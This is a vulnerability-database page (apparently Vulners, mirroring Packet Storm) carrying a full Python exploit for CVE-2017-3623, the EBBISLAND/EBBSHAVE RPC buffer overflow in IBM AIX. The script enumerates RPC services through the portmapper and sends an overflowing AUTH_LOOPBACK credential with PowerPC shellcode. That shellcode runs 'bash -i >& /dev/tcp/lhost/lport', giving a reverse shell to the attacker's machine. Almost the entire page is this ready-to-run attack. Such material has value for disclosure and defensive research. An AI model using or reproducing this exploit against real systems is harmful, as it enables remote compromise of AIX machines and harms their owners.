Lucene search
K

EBBISLAND EBBSHAVE 6100-09-04-1441 Remote Buffer Overflow

🗓️ 08 Jan 2020 00:00:00Reported by Harrison NealType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 103 Views

EBBISLAND EBBSHAVE 6100-09-04-1441 Remote Buffer Overflow for IBM AI

Related
Code
`# Exploit Title: EBBISLAND EBBSHAVE 6100-09-04-1441 - Remote Buffer Overflow  
# Date: 2018-09-19  
# Exploit Author: Harrison Neal  
# Vendor Homepage: https://www.ibm.com/us-en/  
# Version: 6100-09-04-1441, 7100-03-05-1524, 7100-04-00-0000, 7200-01-01-1642  
# Tested on: IBM AIX PPC  
# CVE: CVE-2017-3623  
# EBBISLAND / EBBSHAVE RPC Buffer Overflow for IBM AIX PPC  
  
  
#!/usr/bin/python  
# Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc  
  
# Exploit code example; shellcode requires /usr/bin/bash on the target  
  
# Example values for my AIX 7.2 LPAR:  
# gid_base: 3007d390  
# execl_func: d0307940  
# execl_toc: f081bc20  
  
# CAUTION: If a RPC service repeatedly crashes, it can be automatically disabled  
  
from os import urandom  
from socket import socket, AF_INET, SOCK_STREAM  
from struct import pack, unpack  
from sys import argv, exit  
from time import time, sleep  
  
def getCredLoopbackBody():  
global gid_base, rhost, lhost, lport, gid_base, execl_func, execl_toc  
  
epoch = pack('>I', time()) # Make sure the system clock is in sync w/ target  
  
# Doesn't matter, ljust call assumes len <= 4  
node_name = 'hn'  
node_length = pack('>I', len(node_name))  
node_name = node_name.ljust(4, '\x00')  
  
# Also doesn't matter  
uid = pack('>I', 0)  
gid = pack('>I', 0)  
  
# Big enough to trigger an overflow  
# Not big enough to trigger defensive code  
# You could make this a little bit less,  
# but you'd have to tweak the part 2 code  
gids_len = pack('>I', 64)  
  
base_addr = pack('>I', gid_base)  
addr_8c = pack('>I', gid_base + 0x8c)  
addr_a8 = pack('>I', gid_base + 0xa8)  
addr_4c = pack('>I', gid_base + 0x4c)  
  
func_addr = pack('>I', execl_func)  
toc_addr = pack('>I', execl_toc)  
  
cmd = 'bash -i >& /dev/tcp/' + lhost + '/' + lport + ' 0>&1'  
cmd = cmd.ljust(0x30, '\x00')  
  
# Each GID is 4 bytes long, we want 64  
gids = (  
# +0x0 # filepath  
'/usr/bin/bash\x00\x00\x00'  
  
# +0x10 # argv[0]  
'bash\x00\x00\x00\x00'  
  
# +0x18 # argv[1]  
'-c\x00\x00'  
  
# +0x1c # argv[2]  
) + cmd + (  
  
# +0x4c # r3 = filepath  
'\x70\x63\x00\x00' # andi. r3, r3, 0x0  
'\x3c\x60'  
) + base_addr[0:2] + ( # lis r3, ...  
'\x60\x63'  
) + base_addr[2:4] + ( # ori r3, r3, ...  
  
# +0x58 # r4 = argv[0]  
'\x38\x83\x00\x10' # addi r4, r3, 0x10  
  
# +0x5c # r5 = argv[1]  
'\x38\xa4\x00\x08' # addi r5, r4, 0x8  
  
# +0x60 # r6 = argv[2]  
'\x38\xc5\x00\x04' # addi r6, r5, 0x4  
  
# +0x64 # r7 = NULL  
'\x70\xe7\x00\x00' # andi. r7, r7, 0x0  
  
# +0x68 # r2 = libc.a TOC for execl  
'\x70\x42\x00\x00' # andi. r2, r2, 0x0  
'\x3c\x40'  
) + toc_addr[0:2] + ( # lis r2, ...  
'\x60\x42'  
) + toc_addr[2:4] + ( # ori r2, r2, ...  
  
# +0x74 # execl  
'\x71\x08\x00\x00' # andi. r8, r8, 0x0  
'\x3d\x00'  
) + func_addr[0:2] + ( # lis r8, ...  
'\x61\x08'  
) + func_addr[2:4] + ( # ori r8, ...  
'\x7d\x09\x03\xa6' # mtctr r8  
'\x4e\x80\x04\x21' # bctrl  
  
# +0x88 # 0x14 padding  
'AAAAAAAAAAAAAAAAAAAA'  
  
# +0x9c # Will be NULL  
'ZZZZ'  
  
# +0xa0  
# @+948: r5 = +0x8c  
# @+968: r5 = *(+0x8c + 0x18) = *(+0xa4)  
  
# +0xa4  
# @+968: r5 = +0xa8  
# @+972: r0 = *(r5 + 0x0) = *(+0xa8)  
  
# +0xa8  
# @+972: r0 = +0x4c  
# @+980: ctr = r0 = +0x4c  
# @+988: branch to ctr  
) + addr_8c + addr_a8 + addr_4c + (  
  
# +0xac # padding  
'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'  
)  
  
print ":".join("{:02x}".format(ord(c)) for c in gids)  
print len(gids)  
  
return epoch + node_length + node_name + uid + gid + gids_len + gids  
  
def getCredLoopback():  
cred_flavor = pack('>I', 0x55de) # AUTH_LOOPBACK  
  
cred_body = getCredLoopbackBody()  
cred_len = pack('>I', len(cred_body))  
  
return cred_flavor + cred_len + cred_body  
  
def getAuthNone():  
auth_flavor = pack('>I', 0) # AUTH_NONE  
  
auth_len = pack('>I', 0)  
  
return auth_flavor + auth_len  
  
def getMessage(prog_num, ver_num, proc_num, use_loopback_cred):  
xid = urandom(4)  
  
mtype = pack('>I', 0) # CALL  
  
rpcvers = pack('>I', 2)  
  
prog = pack('>I', prog_num)  
vers = pack('>I', ver_num)  
  
proc = pack('>I', proc_num)  
  
cred = ( getCredLoopback() if use_loopback_cred else getAuthNone() )  
  
verf = getAuthNone()  
  
return xid + mtype + rpcvers + prog + vers + proc + cred + verf  
  
def getPacket(message):  
# MSB on = this is the last fragment  
# LSBs = fragment length  
frag = pack('>I', len(message) + 0x80000000)  
  
return frag + message  
  
if len(argv) < 7:  
print 'Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc'  
exit(1)  
  
rhost = argv[1]  
lhost = argv[2]  
lport = argv[3]  
gid_base = int(argv[4], 16)  
execl_func = int(argv[5], 16)  
execl_toc = int(argv[6], 16)  
  
# Query the portmapper for services  
  
services = []  
  
s = socket(AF_INET, SOCK_STREAM)  
s.connect((rhost, 111)) # port 111 for portmapper  
s.send(getPacket(getMessage(  
100000, # portmapper  
2, # version 2  
4, # DUMP  
False # unauth request  
)))  
  
s.recv(0x1c) # skip over fragment length, XID, message type, reply state, verifier, accept state  
  
while list(unpack('>I', s.recv(4)))[0]: # while next "value follows" field is true  
prog_num, ver_num, proto_num, port = unpack('>IIII', s.recv(16))  
if (prog_num == 100024 # status  
and proto_num == 6): # TCP  
print '[ ] Found service ' + str(prog_num) + ' v' + str(ver_num) + ' on TCP port ' + str(port)  
services.append((prog_num, ver_num, port))  
  
s.close()  
  
# Try attacking  
  
for service in services:  
prog_num, ver_num, port = service  
  
serv_str = str(prog_num) + ' v' + str(ver_num)  
  
for attack in [False, True]:  
sleep(1) # be gentle  
  
print '[ ] ' + ( 'Attacking' if attack else 'Pinging' ) + ' ' + serv_str  
  
s = socket(AF_INET, SOCK_STREAM)  
s.connect((rhost, port))  
  
resp_len = 0  
  
s.send(getPacket(getMessage(  
prog_num,  
ver_num,  
0, # NULL, acts like a ping  
attack  
)))  
  
s.settimeout(5) # give inetd/... a chance to spin up the service if needed  
  
try:  
resp_len = len( s.recv(1024) ) # try to receive up to 1024 bytes  
except:  
resp_len = 0 # typically either timeout, connection error, or Ctrl+C  
  
try:  
s.close() # try closing the connection if it isn't already dead  
except:  
pass # connection is probably already dead  
  
print '[ ] Got response length ' + str(resp_len)  
  
if resp_len == 0: # suspect the service either timed out or crashed  
if attack:  
print '[+] Probably vulnerable to EBBSHAVE, hopefully you have a shell'  
else:  
print '[-] Service probably down or otherwise misbehaving, skipping...'  
break  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jan 2020 00:00Current
0.8Low risk
Vulners AI Score0.8
EPSS0.78312
103